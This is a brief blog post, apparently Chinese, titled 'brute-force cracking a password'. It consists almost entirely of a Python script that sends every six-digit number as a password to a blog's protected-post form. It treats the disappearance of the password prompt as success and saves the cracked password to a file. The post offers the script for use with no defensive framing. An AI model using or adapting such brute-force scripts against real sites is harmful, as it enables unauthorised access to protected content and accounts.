暴力破解密码

import requests
def test(password):
	r = requests.post("", data = {"Password": password})
	if "请输入博文的阅读密码:" in r.text:
		return False
	else:
		return True
for i in range(100000, 999999):
	print("\r", i, end='')
	if(test(str(i))):
		with open("r.txt", "w") as f:
			f.write(str(i))
		break

posted @ 2020-07-15 06:47  hyskr  阅读(176)  评论(0编辑  收藏  举报